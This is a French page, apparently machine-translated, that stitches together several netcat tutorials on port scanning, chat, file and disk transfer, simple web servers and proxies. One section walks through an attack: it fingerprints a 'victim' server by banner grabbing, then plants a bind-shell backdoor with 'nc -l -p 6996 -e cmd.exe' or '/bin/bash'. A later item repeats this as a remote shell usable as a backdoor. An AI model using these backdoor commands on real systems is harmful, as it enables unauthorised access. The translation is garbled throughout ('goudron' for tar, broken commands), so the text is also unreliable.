Astuces utiles pour travailler avec netcat. Exemples utiles d'utilisation de l'utilitaire netcat dans Linux Description de Netcat

|

Le système Linux est connu pour le fait que dans la plupart des distributions, un grand nombre d'utilitaires de ligne de commande utiles sont prêts à l'emploi. Les administrateurs système expérimentés peuvent accomplir la plupart des tâches avec des outils intégrés sans avoir besoin d'installer de logiciel supplémentaire.

Ce manuel est dédié au fonctionnement de l'utilitaire . Ce genre de "couteau suisse" d'outils de mise en réseau peut être utile pour surveiller, tester et transférer des données via des connexions réseau.

Ce didacticiel utilise un serveur Ubuntu 12.04, mais globalement netcat est disponible sur presque toutes les distributions modernes. Ubuntu est livré avec une version BSD de l'utilitaire qui sera utilisé dans ce didacticiel. D'autres versions peuvent fonctionner différemment ou offrir des options différentes.

Syntaxe générale

Par défaut, netcat fonctionne en initiant une connexion TCP à un hôte distant.

Syntaxe de base :

port hôte netcat [options]

Cette commande initie une connexion TCP à l'hôte spécifié sur le port spécifié. Fondamentalement, il fonctionne de la même manière que l'ancien telnet de commande Linux. Veuillez noter que votre connexion sera non cryptée.

Pour envoyer un paquet UDP au lieu d'établir une connexion TCP, utilisez l'option -u :

netcat -u port hôte

Pour définir une plage de ports, spécifiez le premier et le dernier port de la plage, séparés par un tiret :

hôte netcat first_port-last_port

Généralement, cette commande est utilisée avec des indicateurs supplémentaires.

La plupart des systèmes peuvent utiliser netcat ou nc. Ils sont interchangeables car ce sont des alias pour la même commande.

Usagepour l'analyse des ports

Le plus souvent, netcat est utilisé comme scanner de ports.

Bien que Netcat ne soit probablement pas l'outil le plus intelligent pour cette tâche (dans la plupart des cas, nmap est meilleur pour cela), il peut effectuer des analyses de ports simples pour identifier rapidement les ports ouverts.

Pour ce faire, spécifiez la plage de ports à analyser (comme indiqué ci-dessus) et utilisez également l'option -z, qui effectue l'analyse au lieu d'établir des connexions.

Par exemple, pour analyser tous les ports jusqu'au port 1000, exécutez :

netcat -z -v domaine.com 1-1000

Comme vous pouvez le voir, en plus de l'option -z, cette commande utilise l'option -v, grâce à laquelle netcat affiche des informations plus détaillées.

Le résultat ressemble à ceci :

nc : échec de la connexion au port 1 de domain.com (tcp) : connexion refusée
nc : échec de la connexion au port 2 de domain.com (tcp) : connexion refusée
nc : échec de la connexion au port 3 de domain.com (tcp) : connexion refusée
nc : échec de la connexion au port 4 de domain.com (tcp) : connexion refusée
nc : échec de la connexion au port 5 de domain.com (tcp) : connexion refusée
nc : échec de la connexion au port 6 de domain.com (tcp) : connexion refusée
nc : échec de la connexion au port 7 de domain.com (tcp) : connexion refusée
. . .
Connexion au port domain.com 22 réussie !
. . .

Comme vous pouvez le voir, cette commande génère une sortie assez détaillée et indique également si l'analyse de chaque port individuel a réussi ou non.

Ceci est utile lors de l'utilisation d'un nom de domaine.

Cependant, en spécifiant les bonnes adresses IP, vous pouvez accélérer considérablement l'analyse. Vous pouvez ensuite utiliser l'indicateur -n pour indiquer que vous n'avez pas besoin de résoudre l'adresse IP à l'aide de DNS :

netcat -z -n -v 111.111.111.111 1-1000

Les messages renvoyés sont envoyés à l'erreur standard. Des messages d'erreur standard peuvent être envoyés à la sortie standard pour filtrer les résultats.

Utilisez la syntaxe bash 2 pour rediriger l'erreur standard vers la sortie standard> les résultats sont filtrés avec grep :

netcat -z -n -v 111.111.111.111 1-1000 2> & 1 | grep a réussi
Connexion au port 111.111.111.111 22 réussie !

Vous pouvez donc maintenant voir que le seul port ouvert sur la machine distante dans la plage 1-1000 est le port 22, le port SSH standard.

la communicationen utilisant netcat

La commande netcat n'est pas limitée à l'envoi de paquets TCP et UDP. Il peut également écouter sur le port les connexions et les paquets, ce qui permet de connecter deux instances netcat dans une relation client-serveur.

Quel ordinateur est le serveur et quel est le client n'est essentiel que lors de la configuration initiale. Une fois la connexion établie, la connexion est la même dans les deux sens.

Sur une machine, vous devez dire à netcat d'écouter sur un port spécifique pour les connexions. Cela se fait avec l'option -l suivie du numéro de port :

En exécutant cette commande, netcat écoute les connexions TCP sur le port 4444. Désormais, un utilisateur normal (non root) ne pourra pas ouvrir de ports jusqu'à 1000 (pour la sécurité du serveur).

Sur le deuxième serveur, vous devez vous connecter à la première machine via le port spécifié. Cela se fait de la même manière que précédemment :

domaine netcat.com 4444

Une fois la connexion établie, il peut sembler que rien ne s'est passé. Mais maintenant, vous pouvez envoyer des messages des deux côtés de la connexion et ils seront visibles sur les deux serveurs.

Saisissez votre message et appuyez sur ENTER. Le message apparaîtra sur les serveurs locaux et distants. Cela fonctionne aussi dans l'autre sens.

Lorsque vous avez fini d'envoyer des messages, appuyez sur CTRL-D pour terminer la connexion TCP.

Partage de fichiers avec netcat

Après vous être familiarisé avec les principales fonctions de l'utilitaire et en suivant les exemples précédents, vous pouvez passer à des tâches plus complexes.

Comme mentionné, l'utilitaire netcat crée des connexions TCP qui peuvent transférer presque n'importe quel type d'informations, sans se limiter aux messages saisis par l'utilisateur. Cette connaissance peut être utilisée pour transformer netcat en un programme de transfert de fichiers.

Encore une fois, vous devez sélectionner une machine pour écouter les connexions. Cependant, au lieu d'afficher les informations à l'écran (comme dans l'exemple précédent), netcat mettra toutes les informations directement dans un fichier :

netcat -l 4444> fichier_reçu

Sur le deuxième ordinateur, vous devez créer un simple fichier texte :

echo "Bonjour, ceci est un fichier"> original_file

Vous pouvez maintenant utiliser ce fichier comme entrée pour créer une connexion à l'ordinateur d'écoute. Le fichier sera transféré de la même manière que s'il avait été tapé de manière interactive :

domaine netcat.com 4444< original_file

Comme vous pouvez le voir, l'ordinateur qui attendait une connexion dispose désormais d'un nouveau fichier nommé "received_file" contenant les données saisies sur l'autre ordinateur :

chat reçu_fichier
Bonjour, c'est un fichier

Comme vous pouvez le voir, de telles connexions peuvent être facilement utilisées pour transférer tout type d'informations.

Par exemple, vous pouvez transférer le contenu d'un répertoire entier ; pour ce faire, créez une archive tar sans nom, transférez-la sur le système distant et décompressez-la dans le répertoire distant.

Du côté de la réception, vous pouvez utiliser la commande suivante pour vous avertir d'obtenir et de décompresser le fichier :

netcat -l 4444 | goudron xzvf -

Le tiret à la fin de la commande signifie que l'archive tar fonctionnera sur stdin, qui est actuellement envoyé sur le réseau si une connexion est établie.

Du côté contenant le répertoire à transférer, compressez le répertoire donné puis envoyez-le à la machine distante en utilisant netcat :

tar -czf - * | domaine netcat.com 4444

Cette fois, le tiret dans la commande tar signifie que le contenu du répertoire courant (comme indiqué par le *) doit être archivé et transféré, puis écrit sur la sortie standard.

Celui-ci est ensuite écrit sur la connexion TCP, transmis de l'autre côté de la connexion et décompressé dans le répertoire actuel de l'ordinateur distant.

Ceci n'est qu'un exemple de transfert de données plus complexes d'un ordinateur à un autre. La commande dd est également couramment utilisée, qui crée une image disque d'un côté et la transfère vers l'ordinateur distant. Cependant, cette approche n'est pas abordée dans ce guide.

comme un simple serveur Web

L'utilitaire netcat a déjà été utilisé pour transférer des messages et des fichiers. Cette même approche vous aidera à utiliser netcat comme un simple serveur Web. Cela peut être utile pour tester les pages finies.

Tout d'abord, vous devez créer un fichier HTML sur un serveur :

Dans ce fichier, vous pouvez placer le code simple suivant :



Page de test


En-tête de niveau 1


Sous-titre


Texte normal ici




Enregistrez et fermez le fichier.

Ce fichier ne peut pas être servi sur le port du serveur Web par défaut (80) sans les privilèges root. Parce qu'en tant qu'utilisateur normal, définissez le port sur 8888.

Pour tester une seule page et voir comment elle s'affiche, tapez quelque chose comme :

netcat -l 8888< index.html

Le contenu peut maintenant être consulté dans un navigateur en visitant :

http : // IP_serveur : 8888

Cette commande affichera la page, après laquelle la connexion netcat sera fermée. Lorsque vous essayez d'actualiser la page, elle disparaît.

Netcat peut servir une page indéfiniment ; pour ce faire, vous devez rendre la dernière commande cyclique en utilisant la ligne :

bien que vrai; faire nc -l 8888< index.html; done

Ensuite, la page continuera à recevoir des connexions après la fin de la première connexion.

Pour arrêter la boucle, tapez CTRL-C.

Ce serveur vous permettra de voir comment la page s'affiche dans le navigateur, mais ne fournit pas de fonctionnalités beaucoup plus larges. N'utilisez jamais un serveur Web comme celui-ci pour desservir de vrais sites : ce n'est pas sécurisé et des choses simples comme les liens ne fonctionnent pas toujours correctement.

Résultats

Ce tutoriel présente les fonctions de base et l'utilisation de netcat. Cet outil étant polyvalent, il peut être utilisé pour diagnostiquer des problèmes et tester les fonctionnalités de base des connexions TCP/UDP.

De plus, netcat vous permet de communiquer et d'échanger des informations entre différents ordinateurs, ce qui est très important pour une interaction rapide avec l'utilisateur. En facilitant la création d'une connexion, netcat essaie de rendre les interactions réseau entre ordinateurs plus pratiques, plus rapides et plus faciles à comprendre.

Mots clés:,

Bonjour cher lecteur X !

Je pense que ce dessin peut être appelé un mini-test "Es-tu un hacker ?" Essaye de dire ça
signifie ce chaton drôle. Eh bien, si des difficultés surviennent, sachez que devant vous se trouve la chose la plus aimée de toutes les personnes avancées, d'une manière ou d'une autre
connecté au Net, et son nom est Netcat.

Netcat est un utilitaire qui vous permet de lire et de transférer des données sur un réseau
Connexions. En d'autres termes, Netcat vous permet de vous connecter à n'importe quoi et de faire n'importe quoi. Netcat est complètement autonome, avec une utilisation appropriée, il peut remplacer n'importe quel outil logiciel, y compris celui que vous connaissez
Apache. Ainsi, dans sa forme la plus simple, Netcat vous permet de créer des connexions TCP et UDP de n'importe quel port vers n'importe quel port, est capable d'"écouter" les connexions entrantes (et vous pouvez dire au "chaton" d'attendre les connexions uniquement à partir des adresses que vous spécifiés et même les ports !), Peut analyser les ports, autoriser les requêtes DNS, envoyer des commandes à partir d'une entrée standard, effectuer des actions prédéfinies en réponse à une connexion que "chaton" écoute, effectuer un vidage hexadécimal des données envoyées et reçues, et beaucoup plus ...

Bien que, je pense qu'il était nécessaire de dire dès le début que Netcat peut tout faire ; et les possibilités de l'utiliser ne sont limitées que par le niveau de vos connaissances et de votre imagination. Initialement, Netcat a été conçu comme un utilitaire Unix, mais comme vous pouvez l'imaginer, il ne pouvait y avoir aucun passionné qui n'aurait pas porté le « chaton » sur Windows. Vous pouvez facilement trouver les deux versions dans les moteurs de recherche pour la requête "Netcat". Mais les avantages, bien sûr, vont aux Unix-oids, qui, une fois compilés, peuvent légèrement tordre le « chaton » et ainsi activer les puces « fonctionnalités supplémentaires » désactivées par défaut.

Si vous avez déjà utilisé des "attaques basées sur des logiciels", ou simplement des exploits, vous devez avoir remarqué que plus de la moitié d'entre eux utilisent Netcat d'une manière ou d'une autre. Cela est principalement dû au fait que Netcat ne modifie en aucun cas les données entrantes (ainsi que les données sortantes), contrairement, par exemple, à un client Telnet, qui interprète d'abord les données entrantes et ne vous les donne ensuite qu'ensuite. C'est pourquoi Netcat est devenu un puissant outil d'exploration et d'exploitation des vulnérabilités, apportant des centaines de nouvelles publications à Bugtraq.

Mais, si vous n'aimez pas rechercher des vulnérabilités, vous pouvez essayer d'utiliser Netcat comme navigateur Web ou, disons, comme client de messagerie ; d'autant plus qu'Internet Explorer et Outlook ont ​​trouvé des trous "frais", bon vieux Unicode, hein... D'ailleurs, nos gars russes se sont illustrés dans ce domaine (la fierté nationale joue !). Si vous lisez cet article en utilisant Explorer, allez voir combien de votre « âne »
plein de trous.

Après cela, vous passerez à Netcat - pas très pratique, mais
safe... Et enfin, des exemples d'utilisation "avancée" de Netcat
(Unix) :

  1. Netcat comme ;
  2. Netcat comme utilitaire "" ; ceux-ci sont souvent décrits en X, mais en réalité ils envoient juste des requêtes aux moteurs de recherche que vous connaissez bien... Votre "chaton" peut aussi faire ce travail utile !;
  3. J'aime Netcat ! Faites reposer le fournisseur !!!

Attention, tout est exécuté sous forme de scripts shell afin que vous puissiez corriger tout ce que vous voulez si nécessaire.
Pour cela, je veux dire au revoir. Lisez les manuels et bonne chance pour apprendre l'utilitaire emblématique Netcat !

P.S./Personal/ : Le site http://georgy.h1.ru/ est fermé par moi. Une fois pour toutes. Merci à tous ceux qui ont été mes invités.

Nc -h

Comme vous pouvez le voir, la syntaxe de base pour Netcat est la suivante.

Pour se connecter à une autre machine :

Nc options hôte adresse IP port

pour écouter les connexions entrantes :

Nc -l -p port

Étape 2 : utilisez Netcat pour vous connecter au système distant

Utilisons Netcat pour nous connecter à un système distant. Dans notre cas, on va essayer de se connecter au serveur web sur le port 80. On tape :

Nc 192.168.1.105 80


Étape 3: Utilisez Netcat pour capturer la bannière d'empreinte digitale du système d'exploitation

Une fois que nous avons une connexion TCP au Web, nous pouvons utiliser Netcat pour récupérer la bannière du serveur Web afin d'identifier le logiciel en cours d'exécution sur le serveur Web de la victime.

N'oubliez pas qu'avant d'attaquer un système, nous devons en apprendre le plus possible sur la victime. Netcat peut nous aider dans cette tâche en capturant les bannières que les serveurs Web servent pour les nouvelles connexions.

Maintenant que nous avons une connexion, nous pouvons récupérer la bannière sur le serveur Web à l'aide de la commande :

TÊTE / HTTP / 1.0

Soyez prudent et copiez exactement comme l'a dit l'auteur, avec une barre oblique et des espaces.


Appuyez sur Entrée plusieurs fois et le serveur Web répondra avec sa bannière nous indiquant ce que son logiciel exécute. Dans notre cas, nous pouvons voir que le serveur Web exécute Microsoft IIS 6.0.

Nous pouvons également utiliser cette technique sur d'autres sites accessibles au public. Essayons quelques-uns des sites bien connus et voyons quel logiciel ils utilisent sur le serveur Web. Tout d'abord, essayons wonderhowto.com. Lorsque nous pingons wonderhowto.com, nous voyons que l'adresse IP est 98.129.110.26. Ainsi, on peut alors saisir :

Nc 98.129.110.26 80

Une fois la connexion établie, nous pouvons récupérer la bannière Web en tapant à nouveau :

TÊTE / HTTP / 1.0

Et puis appuyez sur Entrée deux ou trois fois.


Comme vous pouvez le voir, wonderhowto.com fonctionne sur Microsoft-IIS / 7.5.

Si nous essayons la même chose avec cnn.com, nous obtenons les résultats ci-dessous :


Fait intéressant, cnn.com est alimenté par nginx, un serveur Web open source qui a atteint le nombre total mondial d'installations Microsoft IIS en très peu de temps (Apache est toujours utilisé par plus de 60 % des serveurs Web dans le monde).

Étape 4 : utilisez Netcat pour écouter les connexions

Utilisons maintenant netcat pour créer un écouteur sur le système distant. Supposons que nous ayons un serveur Windows sur lequel nous avons installé netcat. Nous pouvons maintenant entrer ce qui suit pour ouvrir un écouteur netcat sur le port 6996 (cela peut être n'importe quel port) sur ce système :

Nc-l-p 6996

C'est ainsi qu'a été créé un « auditeur » qui peut se connecter à nos loisirs. Notez que sur les systèmes Windows, nous pouvons exécuter cette même commande avec un L majuscule et cela créera un écouteur persistant qui s'ouvrira même si le système est redémarré.

Étape 5 : Créer une porte dérobée

Créons maintenant une porte dérobée sur le système infecté afin de pouvoir revenir à tout moment. La commande sera légèrement différente selon le système, Linux ou Windows, que nous attaquons.

Pour Windows, nous utilisons :

Nc -l -p 6996 -e cmd.exe

Pour Linux, nous utilisons :

Nc -l -p 6996 -e / bin / bash

Nc 192.168.1.105 6996


Comme vous pouvez le voir, la ligne de commande Windows a été transmise via notre connexion netcat directement à notre système attaquant ! Nous avons cette boîte !

Presque toutes les distributions Linux ont un petit utilitaire discret. chat net, ou simplement NC... Ce programme peut créer des sockets TCP soit en mode serveur pour attendre une connexion, soit en mode client pour se connecter à un serveur. Pour dire la vérité, pour netcat, peu importe que vous l'utilisiez en tant que serveur ou en tant que client - son travail consiste uniquement à collecter des données à partir de stdin et à les transférer vers l'adresse réseau spécifiée.

L'exemple le plus simple d'utilisation de netcat est de créer un chat client-serveur. Bien qu'il s'agisse d'un moyen très primitif de créer un chat, il montre clairement comment cet utilitaire fonctionne. Dans les exemples suivants, on supposera que la machine créant le socket de veille (serveur) a une adresse IP de 192.168.0.1. Créons donc un serveur de discussion qui écoutera les connexions sur le port TCP 3333 :

$ nc -l 3333

Nous pouvons maintenant nous connecter à ce serveur depuis un autre ordinateur :

$ nc 192.168.0.1 3333

Dans ce cas, le clavier agit comme stdin. Tout ce qui est tapé sur le clavier côté serveur sera transféré vers le terminal client et vice versa.

Transfert de fichier

De la même manière, vous pouvez utiliser netcat pour transférer des fichiers entre deux ordinateurs. À l'aide de la commande suivante, vous pouvez créer un serveur qui prépare le fichier pour le téléchargement :

Vous pouvez obtenir le fichier backup.iso sur un autre ordinateur comme suit :

$ nc 192.168.0.1 3333> backup.iso

Comme vous pouvez le voir, netcat n'affiche aucune information sur le processus de transfert. Cela peut être assez gênant lorsque vous travaillez avec des fichiers volumineux. Pour résoudre ce problème, vous pouvez utiliser l'utilitaire (visualiseur de progression). Dans cet exemple, côté serveur, les informations sur la vitesse et le volume des données transmises seront affichées en temps réel :

$ chat backup.iso | pv-b | nc -l 3333

De même, vous pouvez afficher des statistiques côté client :

$ nc 192.168.0.1 3333 | pv -b> backup.iso

Plus d'exemples

L'utilitaire netcat peut également être utile pour créer une image d'une partition de disque dur avec la possibilité de l'envoyer à un serveur distant à la volée :

$ dd si = / dev / hdb5 | gzip -9 | nc -l 3333

Et sur une machine distante, vous pouvez recevoir l'image créée comme suit :

$ nc 192.168.0.1 3333 | pv -b> myhdb5partition.img.gz

Si vous devez envoyer un groupe de fichiers - par exemple, un ensemble de fichiers de configuration - vous pouvez combiner netcat et l'archiveur tar :

$ tar -czf - / etc / | nc -l 3333

Un tiret en tant que nom de fichier dans les paramètres tar est nécessaire pour afficher la sortie de l'archiveur vers stdin, qui est ensuite redirigé vers netcat. Vous pouvez accepter la sauvegarde créée sur une machine distante de la même manière que décrite précédemment :

$ nc 192.168.0.1 3333 | pv -b> masauvegarde.tar.gz

Sécurité

Il est évident que lorsque netcat est utilisé de cette manière, les informations sont transmises sur le réseau sous leur forme originale non cryptée. Pour le transfert de données non critiques, cela est parfaitement acceptable, mais lors du transfert d'informations précieuses, il est raisonnable d'utiliser netcat en combinaison avec un tunnel SSH.

L'utilisation d'un tunnel SSH présente deux avantages :

  1. Les informations sont transmises à l'intérieur d'un tunnel crypté, elles sont donc bien protégées ;
  2. Le serveur n'a pas besoin d'ouvrir de ports supplémentaires dans la configuration du pare-feu, car la connexion sera établie via SSH

Côté serveur, le fichier dans netcat est exposé de la même manière que décrit précédemment :

$ chat backup.iso | nc -l 3333

Côté client, on se connecte au socket netcat en attente via un tunnel SSH :

$ ssh -f -L 23333 : 127.0.0.1 : 3333 [email protégé] dormir 10 ; \ nc 127.0.0.1 23333 | pv -b> backup.iso

Il est clair qu'il existe d'autres moyens de mettre une connexion dans un tunnel SSH, mais la création et l'utilisation d'un tunnel de cette manière ont la fonctionnalité utile que le tunnel est automatiquement fermé lorsque le transfert de données via netcat se termine.

... et un scanner de ports portable

Incroyablement, netcat peut toujours être utilisé pour rechercher des ports ouverts. Le paramètre -z vous aidera pour cela :

$ nc -z 192.168.0.1 80-90 Connexion au port 192.168.0.1 80 réussie !

Dans cet exemple, netcat a analysé la plage de ports 80-90 et signalé que le port 80 était ouvert sur la machine distante.

Les pages de manuel de netcat contiennent également un certain nombre d'autres conseils utiles et des exemples intéressants d'utilisation du programme.

Original : exemples netcat utiles sur Linux
Auteur : Dan Nanni
Date de publication : 27 janvier 2014
Traduction : A. Panin
Date de transfert : 7 septembre 2016

Communément appelé le « couteau suisse » pour les réseaux TCP/IP, l'utilitaire est un outil extrêmement flexible qui vous permet de faire presque tout ce que vous pouvez sur les sockets TCP/UDP sous Linux. C'est l'un des outils les plus populaires pour diagnostiquer et expérimenter des réseaux parmi les administrateurs système.

Notez que vous aurez besoin des privilèges root lors de l'utilisation de nc pour accepter les connexions sur les ports de service réseau connus (0-1023). Dans tous les autres cas, pour le bon fonctionnement de nc, les droits d'un simple utilisateur suffisent.

1. Recherche d'un port TCP ouvert spécifique sur un hôte distant

$ nc -vn 192.168.233.208 5000 nc : la connexion à 192.168.233.208 5000 (tcp) a échoué : connexion refusée $ nc -v 192.168.233.208 22 Connexion au port 192.168.233.208 22 réussie ! SSH-2.0-OpenSSH_6.0p1 Debian-4

2. Envoi d'un paquet UDP de test à un hôte distant

La commande ci-dessous consiste à envoyer un paquet UDP de test avec un délai de 1 seconde au port 5000 de l'hôte distant avec l'adresse donnée.

$ echo -n "toto" | nc -u -w1 192.168.1.8 5000

3. Analyse des ports TCP sur un hôte distant

La commande ci-dessous sert à analyser les ports à partir de plages et à répertorier les ports ouverts.

$ nc -vnz -w 1 192.168.233.208 1-1000 2000-3000

4. Copiez un fichier (par exemple, my.jpg) de l'hôte nommé hostA.com vers l'hôte nommé hostB.com

$ nc -lp 5000> mon.jpg

$ nc hostB.com 5000< my.jpg

5. Transfert du répertoire (avec tout le contenu) de hostA.com vers hostB.com

Sur un hôte nommé hostB.com (hôte) :

$ nc -l 5000 | goudron xvf -

Sur un hôte nommé hostA.com (côté émetteur) :

$ tar cvf - / chemin / vers / répertoire | nc hostB.com 5000

6. Analyse des ports UDP sur un hôte distant

$ nc -vnzu 192.168.1.8 1-65535 Connexion au port 192.168.1.8 68 réussie ! Connexion au port 192.168.1.8 5353 réussie ! Connexion au port 192.168.1.8 16389 réussie ! Connexion au port 192.168.1.8 38515 réussie ! La connexion au port 192.168.1.8 45103 a réussi !

La commande ci-dessus vous permet de répertorier les ports UDP de réception ouverts sur le serveur distant.

7. Attente des données sur le port UDP et sortie des données reçues au format texte

La commande ci-dessous permet de recevoir des messages (lignes de texte) sur un port UDP donné.

$ nc -u hôte local 5000

Veuillez noter que cette commande se terminera immédiatement après avoir reçu le premier message. Si vous souhaitez recevoir une série de messages, vous devez utiliser une boucle while comme celle-ci :

$ tant que vrai ; faire nc -u localhost 5000 ; terminé

8. Enregistrement d'un fichier image de disque dur (compressé) (par exemple / dev / sdb) sur un serveur distant

Sur le serveur distant :

$ nc -lp 5000 | sudo dd of = / backup / sdb.img.gz

Sur le nœud local où est installé le disque dur :

$ dd si = / dev / sdb | gzip -c | nc serveur_distant.com 5000

9. Récupération du contenu du disque dur à partir d'un fichier image compressé enregistré sur un serveur distant

Sur le nœud local :

$ nc -lp 5000 | gunzip -c | sudo dd de = / dev / sdb

Sur le serveur distant où le fichier image du disque dur est enregistré (par exemple, /backup/sdb.img.gz) :

$ cat /backup/sdb.img.gz | nc my_local_host.com 5000

10. Transfert d'une page web statique par analogie avec un serveur web

Exécutez la commande ci-dessous pour démarrer un serveur Web qui servira une page Web nommée test.html aux clients se connectant sur le port 8000.

$ tant que vrai ; faire nc -lp 8000< test.html; done

Vérifiez maintenant la disponibilité de la page Web en allant avec votre navigateur Web sur : http:// : 8000 / test.html. Notez que pour utiliser le port 80 du serveur Web standard, vous devrez exécuter nc avec les privilèges root comme suit :

$ tant que vrai ; faire sudo nc -lp 80< test.html; done

11. Organisation d'un chat non protégé entre deux nœuds

Sur le premier nœud (192.168.233.203) :

$ nc -lp 5000

Sur le deuxième nœud :

$ nc 192.168.233.203 5000

Après avoir exécuté les deux commandes ci-dessus, tous les caractères saisis dans la fenêtre de terminal sur l'un des nœuds apparaîtront dans la fenêtre de terminal de l'autre nœud.

12. Lancement d'un "shell de commande à distance" qui vous permet d'exécuter des commandes arbitraires sur un nœud distant tout en travaillant avec le nœud local

Sur l'hôte distant (192.168.233.208) :

$ nc -lp 5000 -e / bin / bash

Sur le nœud local :

$ nc 192.168.233.208 5000

Après avoir exécuté la commande ci-dessus sur le nœud local, vous pourrez exécuter toutes les commandes sur le nœud distant via la fenêtre de terminal du nœud local. Les commandes seront exécutées sur le nœud distant et la sortie de ces commandes apparaîtra dans la fenêtre de terminal du nœud local. Cette approche peut être utilisée pour créer une porte dérobée sur un hôte distant.

13. Créez un proxy Web pour un site Web spécifique (par exemple, google.com)

$ mkfifo proxypipe $ tant que vrai ; faire nc -l 5000 0 Proxypipe ; terminé

Les commandes ci-dessus créent un canal proxy nommé et utilisent l'utilitaire nc pour rediriger toutes les connexions TCP sur le port 5000 de l'hôte local vers http://www.google.com à l'aide d'un canal bidirectionnel. Après avoir exécuté ces commandes, vous pouvez accéder à la page principale du moteur de recherche Google en entrant l'adresse http://127.0.0.1:5000 dans la barre d'adresse de votre navigateur Web.

14. Créez un proxy SSL pour un site Web spécifique (par exemple, google.com)

$ mkfifo proxypipe $ mkfifo proxypipe2 $ nc -l 5000 -k> proxypipe< proxypipe2 & $ while true do; openssl s_client -connect www.google.com:443 -quiet < proxypipe >proxypipe2 ; terminé

Les commandes ci-dessus vous permettent d'utiliser l'utilitaire nc pour créer un proxy SSL qui vous permet de vous connecter à google.com.

15. Diffuser un fichier vidéo depuis le serveur et le visualiser à l'aide de mplayer sur la machine cliente

Sur le serveur de streaming vidéo (192.168.233.208) :

$ chat video.avi | nc -l 5000

Sur le système client :

$ nc 192.168.233.208 5000 | mplayer -vo x11 -cache 3000 -

16. Acceptez les connexions TCP sur un port spécifique en utilisant une adresse IPv6

Les commandes ci-dessous permettent à l'utilitaire nc d'utiliser une adresse IPv6 lors de l'acceptation des connexions sur le port TCP. Cela peut être nécessaire lors du test de l'exactitude de la configuration de l'adressage IPv6 sur le réseau.

$ nc -6 -l 5000 $ sudo netstat -nap | grep 5000 tcp6 0 0 ::: 5000 ::: * LISTEN 4099 / nc

Si vous avez aimé l'article, partagez-le avec vos amis :

2021 wisemotors.ru. Comment ça fonctionne. Le fer. Exploitation minière. Crypto-monnaie.